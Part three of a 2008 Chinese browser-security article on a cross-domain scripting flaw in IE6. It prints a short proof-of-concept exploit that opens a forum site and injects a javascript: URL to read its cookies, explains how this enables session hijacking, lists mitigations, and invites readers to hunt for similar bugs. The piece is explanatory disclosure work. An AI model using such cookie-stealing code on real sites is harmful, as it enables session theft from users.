揭密鬼页 浅析浏览器跨域安全问题(3)

来源:IT 专家网 时间:2008-10-07 18:11:00 

5.灾难性的后果

到这里我们发现了一个IE6的0DAY,一定程度上这个跨域安全问题是灾难性的,如下面的

EXP:


<a href="">IE6 Cross Domain Scripting</a> 
    <script> 
    function win(){ 
        x=window.open('http://www.phpwind.net'); 
        setTimeout(function(){ 
            x.location=new String("javascript:alert(document.cookie)") 
        },3000) 
    } 
    window.onload=function(){ 
        for (i=0;i<document.links.length;i++) {  
            document.links[i].href="javascript:win()" 
        } 
    } 
    </script>

点击链接后,马上得到了PHPWIND论坛的COOKIE,这就意味着黑客通过类似的攻击可以得到你访问过的任意网站的COOKIE,然后劫持你的会话。

这样的漏洞相当于一个没有域限制的XSS漏洞,几乎是无法防御的,网站只能进一步的加强客户端的会话安全,如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的请求操作加上水印等。

6.总结

这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏,没有考虑清楚不同域有继承关系的window对象操作后的变化,只是对window对象的一些方法的参数做了类似数据类型的限制,导致最后绕过限制跨域执行了脚本。

从这个漏洞我们也可以看出IE7的一些新的安全特性,通过继承关系的window对象操作来跨域执行脚本伪协议最后是判断了域的,IE7已经开始防范类似的攻击。

但是这里并没有在本质上解决跨域安全问题,IE7只防范了跨域执行脚本,对于其他跨域的操作仍然是放行的,所以鬼页在IE7下可以跨域操作框架URL,而Firefox却没有存在相同的问题,说明不同浏览器在安全的考虑上也是存在很多差异的。

针对IE我又测试了其他对象方法,发现很多都被限制住了,但不排除还有同样的问题存在。按照类似的思路,大家可以继续尝试挖掘浏览器的一些跨域漏洞。

标签:安全,浏览器,javascript
0
投稿

猜你喜欢

  • 从垃圾站到正规站,5个月日IP达到5000

    2009-09-05 10:20:00
  • Godaddy新手攻略:10分钟帮你搞定一个网站

    2010-08-05 08:54:00
  • VMware与Centos系统安装之重置root密码的方法

    2023-12-17 03:52:58
  • windows 2003服务器系统安全权限方案

    2008-07-31 17:37:00
  • 防止黑客入侵WEB服务器三步曲

    2007-03-28 16:57:00
  • 购买网站应注意的九个问题

    2007-12-18 16:55:00
  • CC攻击防护的asp代码

    2009-02-18 15:49:00
  • 21个常用的apache .htaccess文件配置技巧分享

    2023-07-18 21:40:21
  • 旅游网站推广攻略

    2009-03-04 14:26:00
  • Google推出根据人口特征进行竞价的广告功能

    2008-01-29 13:04:00
  • Vmware下Ubuntu server版安装图文教程

    2023-12-11 22:57:20
  • vscode中利用git通过ssh连接github的方法

    2021-11-28 12:21:50
  • Exchange 2003设计和体系结构

    2010-02-21 19:08:00
  • 百度排名公式最新版

    2008-01-10 20:16:00
  • 漫游(Manyou)开放平台数据说明

    2009-06-13 19:12:00
  • Apache服务器高级设置指南(2)

    2010-05-31 17:58:00
  • 考察网站不赚钱的四大原因

    2008-07-02 12:44:00
  • UCenter Home 2.0即将测试 新增六大互动新特性成焦点

    2009-07-17 12:32:00
  • 中国雅虎首页改版回归紫色

    2009-10-12 11:24:00
  • cpanel-wordpress博客换域名教程

    2011-08-02 19:24:13
  • asp之家 网站运营 m.aspxhome.com